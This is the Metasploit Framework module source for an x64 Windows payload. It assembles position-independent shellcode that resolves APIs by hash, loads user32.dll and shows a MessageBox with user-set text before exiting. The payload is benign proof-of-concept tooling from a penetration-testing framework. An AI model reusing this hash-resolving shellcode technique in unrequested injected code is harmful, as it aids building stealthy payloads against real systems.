Path: blob/master/modules/payloads/singles/windows/x64/messagebox.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 31378include Msf::Payload::Windows9include Msf::Payload::Single10include Msf::Payload::Windows::BlockApi_x641112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Windows MessageBox x64',17'Description' => 'Spawn a dialog via MessageBox using a customizable title, text & icon',18'Author' => [19'pasta <jaguinaga[at]infobytesec.com>'20],21'License' => GPL_LICENSE,22'Platform' => 'win',23'Arch' => ARCH_X6424)25)2627icon_opts = ['NO', 'ERROR', 'INFORMATION', 'WARNING', 'QUESTION']28register_options(29[30OptString.new('TITLE', [true, 'Messagebox Title', 'MessageBox']),31OptString.new('TEXT', [true, 'Messagebox Text', 'Hello, from MSF!']),32OptEnum.new('ICON', [true, 'Icon type', icon_opts[0], icon_opts])33]34)35end3637def generate(_opts = {})38style = 0x0039case datastore['ICON'].upcase.strip40# default = NO41when 'ERROR'42style = 0x1043when 'QUESTION'44style = 0x2045when 'WARNING'46style = 0x3047when 'INFORMATION'48style = 0x4049end5051exitfunc_asm = %(52xor rcx,rcx53mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}54call rbp55)56if datastore['EXITFUNC'].upcase.strip == 'THREAD'57exitfunc_asm = %(58mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}59mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')}60call rbp61add rsp,0x2862cmp al,0x663jl use_exitthread ; is older than Vista or Server 2003 R2?64cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX65jne use_exitthread66mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')}6768use_exitthread:69push 070pop rcx71mov r10d,ebx72call rbp73)74end75payload_asm = %(76cld77and rsp,0xfffffffffffffff078call start_main79#{asm_block_api}80start_main:81pop rbp82call get_user3283db "user32.dll", 0x0084get_user32:85pop rcx86mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}87call rbp88mov r9, #{style}89call get_text90db "#{datastore['TEXT']}", 0x0091get_text:92pop rdx93call get_title94db "#{datastore['TITLE']}", 0x0095get_title:96pop r897xor rcx,rcx98mov r10d, #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')}99call rbp100exitfunk:101#{exitfunc_asm}102)103payload_data = Metasm::Shellcode.assemble(Metasm::X64.new, payload_asm).encode_string104return payload_data105end106end107108109